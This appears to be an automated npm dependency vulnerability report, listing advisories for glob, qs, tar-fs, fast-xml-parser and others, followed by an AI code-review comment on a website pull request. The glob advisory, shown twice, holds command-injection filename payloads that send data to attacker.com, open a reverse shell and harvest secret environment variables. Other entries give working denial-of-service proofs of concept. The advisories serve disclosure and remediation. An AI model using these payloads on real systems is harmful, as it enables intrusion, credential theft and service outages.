linkifyjs 4.2.0 (npm) pkg:npm/linkifyjs@4.2.0 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') Affected range <4.3.2 Fixed version 4.3.2 CVSS Score 8.8 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N EPSS Score 0.123% EPSS Percentile 32nd percentile Description Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

tar-fs 2.1.3 (npm) pkg:npm/tar-fs@2.1.3 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.4 Fixed version 2.1.4 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.028% EPSS Percentile 7th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

async 1.5.2 (npm) pkg:npm/async@1.5.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.706% EPSS Percentile 72nd percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

glob 11.0.3 (npm) pkg:npm/glob@11.0.3 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Affected range >=11.0.0 <11.1.0 Fixed version 11.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.038% EPSS Percentile 11th percentile Description Summary The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true: stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) Technical Flow: User runs glob -c <command> <pattern> CLI finds files matching the pattern Matched filenames are collected into an array Command is executed with matched filenames as arguments using shell: true Shell interprets metacharacters in filenames as command syntax Malicious filenames execute arbitrary commands Affected Component: CLI Only: The vulnerability affects only the command-line interface Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems) Attack Surface: Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. Any directory where attackers can control filenames (PR branches, archives, user uploads) CI/CD pipelines using glob -c on untrusted content PoC Setup Malicious File: mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' Trigger Vulnerability: # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" Result: The echo command executes normally Additionally: The $(touch injected_poc) in the filename is evaluated by the shell A new file injected_poc is created, proving command execution Any command can be injected this way with full user privileges Advanced Payload Examples: Data Exfiltration: # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' Reverse Shell: # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' Environment Variable Harvesting: # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' Impact Arbitrary Command Execution: Commands execute with full privileges of the user running glob CLI No privilege escalation required - runs as current user Access to environment variables, file system, and network Real-World Attack Scenarios: 1. CI/CD Pipeline Compromise: Malicious PR adds files with crafted names to repository CI pipeline uses glob -c to process files (linting, testing, deployment) Commands execute in CI environment with build secrets and deployment credentials Potential for supply chain compromise through artifact tampering 2. Developer Workstation Attack: Developer clones repository or extracts archive containing malicious filenames Local build scripts use glob -c for file processing Developer machine compromise with access to SSH keys, tokens, local services 3. Automated Processing Systems: Services using glob CLI to process uploaded files or external content File uploads with malicious names trigger command execution Server-side compromise with potential for lateral movement 4. Supply Chain Poisoning: Malicious packages or themes include files with crafted names Build processes using glob CLI automatically process these files Wide distribution of compromise through package ecosystems Platform-Specific Risks: POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL Mixed Environments: CI systems often use Linux containers regardless of developer platform Affected Products Ecosystem: npm Package name: glob Component: CLI only (src/bin.mts) Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) Patched versions: 11.1.0and 10.5.0 Scope Limitation: Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable Remediation Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

fast-xml-parser 5.2.0 (npm) pkg:npm/fast-xml-parser@5.2.0 Uncaught Exception Affected range >=4.3.6 <=5.3.3 Fixed version 5.3.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.085% EPSS Percentile 25th percentile Description Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45: "num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) }, The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: [0-9]{1,7} matches up to 9,999,999 [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215) The entity replacement in replaceEntitiesValue() (line 452) has no try-catch: val = val.replace(entity.regex, entity.val); This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup Create a directory with these files: poc/ ├── package.json ├── server.js package.json { "dependencies": { "fast-xml-parser": "^5.3.3" } } server.js const http = require('http'); const { XMLParser } = require('fast-xml-parser'); const parser = new XMLParser({ processEntities: true, htmlEntities: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000')); Run # Setup npm install # Terminal 1: Start server node server.js # Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse Result Server crashes with: RangeError: Invalid code point 9999999 Alternative Payloads <!-- Hex variant --> <?xml version="1.0"?><root>&#xFFFFFF;</root> <!-- In attribute --> <?xml version="1.0"?><root attr="&#9999999;"/> Impact Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects: API servers accepting XML payloads File processors parsing uploaded XML files Message queues consuming XML messages RSS/Atom feed parsers SOAP/XML-RPC services A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

tar-fs 3.0.9 (npm) pkg:npm/tar-fs@3.0.9 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=3.0.0 <3.1.1 Fixed version 3.1.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.028% EPSS Percentile 7th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

connect-multiparty 2.2.0 (npm) pkg:npm/connect-multiparty@2.2.0 Unrestricted Upload of File with Dangerous Type Affected range <=2.2.0 Fixed version Not Fixed CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.448% EPSS Percentile 63rd percentile Description An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

qs 6.5.3 (npm) pkg:npm/qs@6.5.3 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.163% EPSS Percentile 37th percentile Description Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

qs 6.13.0 (npm) pkg:npm/qs@6.13.0 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.163% EPSS Percentile 37th percentile Description Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

@isaacs/brace-expansion 5.0.0 (npm) pkg:npm/%40isaacs/brace-expansion@5.0.0 Inefficient Regular Expression Complexity Affected range <=5.0.0 Fixed version 5.0.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.055% EPSS Percentile 17th percentile Description Summary @isaacs/brace-expansion is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process. Details The vulnerability occurs because @isaacs/brace-expansion expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller. For example, the following input: {0..99}{0..99}{0..99}{0..99}{0..99} produces: 100^5 = 10,000,000,000 combinations This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination. Proof of Concept The following script reliably triggers the issue. Create poc.js: const { expand } = require('@isaacs/brace-expansion'); const pattern = '{0..99}{0..99}{0..99}{0..99}{0..99}'; console.log('Starting expansion...'); expand(pattern); Run it: node poc.js The process will freeze and typically crash with an error such as: FATAL ERROR: JavaScript heap out of memory Impact This is a denial of service vulnerability. Any application or downstream dependency that uses @isaacs/brace-expansion on untrusted input may be vulnerable to a single-request crash. An attacker does not require authentication and can use a very small payload to: Trigger exponential computation Exhaust memory and CPU resources Block the event loop Crash Node.js services relying on this library

glob 10.4.5 (npm) pkg:npm/glob@10.4.5 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Affected range >=10.2.0 <10.5.0 Fixed version 11.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.038% EPSS Percentile 11th percentile Description Summary The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true: stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) Technical Flow: User runs glob -c <command> <pattern> CLI finds files matching the pattern Matched filenames are collected into an array Command is executed with matched filenames as arguments using shell: true Shell interprets metacharacters in filenames as command syntax Malicious filenames execute arbitrary commands Affected Component: CLI Only: The vulnerability affects only the command-line interface Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems) Attack Surface: Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. Any directory where attackers can control filenames (PR branches, archives, user uploads) CI/CD pipelines using glob -c on untrusted content PoC Setup Malicious File: mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' Trigger Vulnerability: # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" Result: The echo command executes normally Additionally: The $(touch injected_poc) in the filename is evaluated by the shell A new file injected_poc is created, proving command execution Any command can be injected this way with full user privileges Advanced Payload Examples: Data Exfiltration: # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' Reverse Shell: # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' Environment Variable Harvesting: # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' Impact Arbitrary Command Execution: Commands execute with full privileges of the user running glob CLI No privilege escalation required - runs as current user Access to environment variables, file system, and network Real-World Attack Scenarios: 1. CI/CD Pipeline Compromise: Malicious PR adds files with crafted names to repository CI pipeline uses glob -c to process files (linting, testing, deployment) Commands execute in CI environment with build secrets and deployment credentials Potential for supply chain compromise through artifact tampering 2. Developer Workstation Attack: Developer clones repository or extracts archive containing malicious filenames Local build scripts use glob -c for file processing Developer machine compromise with access to SSH keys, tokens, local services 3. Automated Processing Systems: Services using glob CLI to process uploaded files or external content File uploads with malicious names trigger command execution Server-side compromise with potential for lateral movement 4. Supply Chain Poisoning: Malicious packages or themes include files with crafted names Build processes using glob CLI automatically process these files Wide distribution of compromise through package ecosystems Platform-Specific Risks: POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL Mixed Environments: CI systems often use Linux containers regardless of developer platform Affected Products Ecosystem: npm Package name: glob Component: CLI only (src/bin.mts) Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) Patched versions: 11.1.0and 10.5.0 Scope Limitation: Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable Remediation Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

async 0.9.2 (npm) pkg:npm/async@0.9.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.706% EPSS Percentile 72nd percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

fast-xml-parser 4.5.3 (npm) pkg:npm/fast-xml-parser@4.5.3 Uncaught Exception Affected range >=4.3.6 <=5.3.3 Fixed version 5.3.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.085% EPSS Percentile 25th percentile Description Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45: "num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) }, The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: [0-9]{1,7} matches up to 9,999,999 [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215) The entity replacement in replaceEntitiesValue() (line 452) has no try-catch: val = val.replace(entity.regex, entity.val); This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup Create a directory with these files: poc/ ├── package.json ├── server.js package.json { "dependencies": { "fast-xml-parser": "^5.3.3" } } server.js const http = require('http'); const { XMLParser } = require('fast-xml-parser'); const parser = new XMLParser({ processEntities: true, htmlEntities: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000')); Run # Setup npm install # Terminal 1: Start server node server.js # Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse Result Server crashes with: RangeError: Invalid code point 9999999 Alternative Payloads <!-- Hex variant --> <?xml version="1.0"?><root>&#xFFFFFF;</root> <!-- In attribute --> <?xml version="1.0"?><root attr="&#9999999;"/> Impact Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects: API servers accepting XML payloads File processors parsing uploaded XML files Message queues consuming XML messages RSS/Atom feed parsers SOAP/XML-RPC services A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

qs 6.14.0 (npm) pkg:npm/qs@6.14.0 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.163% EPSS Percentile 37th percentile Description Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

jws 4.0.0 (npm) pkg:npm/jws@4.0.0 Improper Verification of Cryptographic Signature Affected range =4.0.0 Fixed version 4.0.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.009% EPSS Percentile 1st percentile Description Overview An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions. Am I Affected? You are affected by this vulnerability if you meet all of the following preconditions: Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0 Application uses the jws.createVerify() function for HMAC algorithms Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines You are NOT affected by this vulnerability if you meet any of the following preconditions: Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability) Application uses only asymmetric algorithms (e.g. RS256) Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines Fix Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1 Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.

[coderabbitai]

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)

website/modules/business-partner/index.js (1)

19-30: ⚠️ Potential issue | 🟠 Major

Add a database migration before deploying this schema change.

Renaming partnerLogoDesktop → partnerLogo and removing partnerLogoMobile is a schema change that requires a migration script. Existing business-partner documents in the database will still have data under the old field names, making them invisible to the new partnerLogo field. This will silently cause all partner logos to disappear from the site for existing partners.

Create a migration to copy the existing partnerLogoDesktop data into partnerLogo for all business-partner documents before this deploy, or confirm that no existing data exists for these fields.

🤖 Fix all issues with AI agents

In `@website/modules/asset/ui/src/scss/_cases.scss`:
- Around line 1440-1448: The mobile font size for .cs_partnership-text is set to
6px via the font-settings call (default scope) which is unreadable; either
increase the default mobile size to a readable minimum (e.g., change
font-settings(6px, ...) to font-settings(12px, ...) for the default rule) or, if
constrained by the 66px box, hide the label on small screens instead (add a
small-screen rule that sets display:none or visibility:hidden for
.cs_partnership-text). Keep the existing `@include` breakpoint-medium {
font-settings(14px, ...) } for larger screens.